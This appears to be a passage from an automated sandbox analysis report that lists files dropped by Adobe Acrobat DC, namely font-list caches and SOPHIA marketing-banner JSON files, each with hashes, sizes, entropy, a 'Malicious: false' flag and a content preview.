SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5436

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5436

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350777952750575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJM3g98kUwPeUkwRe9:YvXKXBU1KGEDrUYpW7kGMbLUkee9
MD5:	5767CA445FB53A5BC7DC7C17D933AD16
SHA1:	BF2264551B78E5029831AC63E649805EE117C6BF
SHA-256:	4856B30DBF79DE5666FC6B5918EA790FEA1603BB135390F8B74AF7289FCCD4D9
SHA-512:	67CD5D207B0F638AFA2F396014DA460CE67B214D156A9EC31E984A96A73564889ECFC1C64C918A30AC7099903807D7343575C56E5DDADB1B7AC04132A7E1A45C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291579106102872
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfBoTfXpnrPeUkwRe9:YvXKXBU1KGEDrUYpW7kGWTfXcUkee9
MD5:	7418F94EC66BA00B4284D452579A7518
SHA1:	B0DA198EE6AF8B0B7D74DB5B39FD4DB865F1695E
SHA-256:	D01F5DDA5699E278D8E691680844263C745ADBD2FED107AF83A8F0D55A47AFA4
SHA-512:	27D040AC7E9EEBBBBFEB7DE942878C5A2E7C90F1BE30D49E8A11660E6124E53184B0C53AEC5D8C228967DBA38C8060A9FE2FCED2EDD48065BB773CD9F99FCA3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269978424971303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfBD2G6UpnrPeUkwRe9:YvXKXBU1KGEDrUYpW7kGR22cUkee9
MD5:	7C51A73A4B778DA3FECDCCAB480523DE
SHA1:	E0ECB51B321CC9C0FBF1946ABC1742C8A822CDCB
SHA-256:	6FC59AD87A46D273D1C012A0D90F0A8A99789650C636473073A1AE5F5AFB5F38
SHA-512:	91D2078121B8B33A9A6ED8A7495B9BC9048031F63E80A248D93246144888C2B9C368ABDF145E5B64FB57B9F84D404DAFE7383A6C9A41080CDE79D10E78291480
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329229236244279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfPmwrPeUkwRe9:YvXKXBU1KGEDrUYpW7kGH56Ukee9
MD5:	C1B4BE14BED05042CD9F966551D4E1D6
SHA1:	9512CE4E7644770D283DB5AF84BCF97EE8595AD9
SHA-256:	B8D28460730A9B703ECC14D0AFF90F2599B8C86890C05E24BFEE8A1C74BCB002
SHA-512:	D46A0FB89D06A0008763BC0B870C13A777AD8545D75AD00E0A8722EFBAA65AD26FAB83561BE3D3450065AB90BE52879C83AD7E19F3B5B1389616F5D7129E67F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691282952942024
Encrypted:	false
SSDEEP:	24:Yv6XBU1KLFihpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvEUYIhhgy6SAFv5Ah8cv/a
MD5:	797E8F69076CCED0F81A9CA9767CCA8A
SHA1:	69292F85BE38FEBFD7592CE41D4B4A31DB209683
SHA-256:	88C5F4E4C2785F505A36045BBA23DDFE091D2DC0AED9C9C23850680A0FD6BDA1
SHA-512:	46678FAA438001FA1789DA55575BEB9172AF55E24D35A6AE0976DD743C87CAF22EB3C62F5C45CA1A00E64B9D2A06893D28B2AB4EE45751D747FCAFB78BBB6E39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2789306037440795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJf8dPeUkwRe9:YvXKXBU1KGEDrUYpW7kGU8Ukee9
MD5:	1DF1FA436052808289FF359BEDB92C01
SHA1:	6FB618B9EC99DE4282E0441397B6EE4743B1CF5B
SHA-256:	4344602A7B9BD08C07FF946CA3881CA96B65F96E505C33FF3CFFA74F29E3E0B5
SHA-512:	D858B6B2B960BF6A2620B06D75FC34CBFEC989430E7E723622A86FD9AAC3CE8FADEB0BCB7ADCEC7E3FD3A4ED519DEB054711D280836EF72A4E24B83EA302E218
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280720266338717
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfQ1rPeUkwRe9:YvXKXBU1KGEDrUYpW7kGY16Ukee9
MD5:	6D6EA0330E729410DB037EF00FB8BFDE
SHA1:	5D9555EA5D5605B9DD75DDB4759C3EC81F27FECD
SHA-256:	246F764929E2EDE7A5709E1D6D5AB1611A0628EB2B23984A92580C027632CC48
SHA-512:	EE82F7041470CD0E45A696E1F79316775EA2807E67B1C132E4301D3BD4ED7D39BACD146388E6EB81290245B0034636EAC5C894DD403F17B685EB4E5F08708C08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30121413736728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfFldPeUkwRe9:YvXKXBU1KGEDrUYpW7kGz8Ukee9
MD5:	CE08B3CA72A99B8E40C090548D5C8669
SHA1:	08C90412DD1DD5AEDB341612B34344A713479B63
SHA-256:	13326EB90A9AA2BCE1DCDD98BCF8966C56185B950265D53D2D4A6849653CAB6E
SHA-512:	38C32306733877A77450713FAC258F19029D02734E74C4107B94D8DE0D0F4AF7DB102E8AED3A573CD68177F265A1C20EFE8D5C1127D26E20889BE3CB52C5B61D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3066293978563825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfzdPeUkwRe9:YvXKXBU1KGEDrUYpW7kGb8Ukee9
MD5:	D6FB825EE8BEAEC8DA70A48B5C89FCE1
SHA1:	A7098E51523D0BFC96CD81AFC0D8A7A99DDA4062
SHA-256:	7C9C35953AC5E218B58D17A19419ABB5DA3EC70B850D0FC0B651CF182C39D637
SHA-512:	9D55E3450E4376C03021C76FEF75CB669A5C37935DAF6E1D6C4E8A76993D9BB84B382B79461D9FCE08D888F521B7613DB719195D3425D6A7CE8FA2CAC2C053F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287008762296598
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfYdPeUkwRe9:YvXKXBU1KGEDrUYpW7kGg8Ukee9
MD5:	426C15912877D63406AC39898C70C47F
SHA1:	635DE22A12117D1007DB173B5317459F1F6FE49E
SHA-256:	8AC5E1C0B16C54771E05DF02F6883CEBCB6A10F835DCEBA1F9339C8A4C120831
SHA-512:	61618B37AAC005B00AEB8CC3E53CF0595875E7BDCFBA146270D6A3664F8DB483228530E8EC2928841B76EEE72B11354BE281EB040C65BE1C6BAC8A070554F44D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2725127146127795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJf+dPeUkwRe9:YvXKXBU1KGEDrUYpW7kG28Ukee9
MD5:	C08F58BDDC60F042EA7FC9A39E94E54B
SHA1:	34A6B875105B5350D417F78A4BEACE9715DC7BA6
SHA-256:	0E346CB5748BA68049B672766EBD042FFF06398F253F9518186D4873381B9FA8
SHA-512:	F9E749573AF6BF40390062CBEC3349A6AF45ED3909646679E69C781B0A0783DEBB2FF35B115902CE7414FF39965CDCB1253B3A6DC43B09661CA14A294E25673A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27064514682753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfbPtdPeUkwRe9:YvXKXBU1KGEDrUYpW7kGDV8Ukee9
MD5:	DF9979D5EC97CEF528DBC78AE584FD54
SHA1:	68DAC715C9883FCF18DAF4D82FA2C690C7138060
SHA-256:	C6DABEB49C90865810A414A0E0DD7730E48EFDA1A2839B23FD0C945AD650E217
SHA-512:	4596B54DB57A31B1527A39EA190CCC09229DCE7E80A41417C8D72D54C3BEBB2F28E9A36586C1A570B86DA5B8E6399B71E5AF04811933E2097F1EC2AFD609548C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2721385479806235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJf21rPeUkwRe9:YvXKXBU1KGEDrUYpW7kG+16Ukee9
MD5:	00D8BCE7C3FABDEEB3EE9DA87C9A865E
SHA1:	BE267985F7EDC5B495DCA3BED83ACCD7D2C6AEDC
SHA-256:	929327EB3ACE08D3303279157C6D507250095FA269F7B62AB12DB538FBE71BF6
SHA-512:	B099333EF520EDFB5053C6E7EEB090D55C65FC86A25ADA9EB8C597F83AF3D7A53CD4123D33F3867E47B175D130FE03BF747BCE0A817E81B0C51157B861A4FE4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6604523836792255
Encrypted:	false
SSDEEP:	24:Yv6XBU1KLFihamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvEUYItBgkDMUJUAh8cvMa
MD5:	D08B39BF765505A483547D7A39578A24
SHA1:	7FEED246E48E7DDB4EBCA58F1B93D4649DE22113
SHA-256:	AD65BE55BBEF1CB620C3FF9F309E34452FB07AE43CCFDB0BD163AA669965A0C5
SHA-512:	5A3382C574388A557CAEA50DCCF16CD74C00DCAFF4AF57115BBE532DF066EA6B180B5AA528CB4A0D19C48964D1845669270F08D2D911F0D5E86770125F88008B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 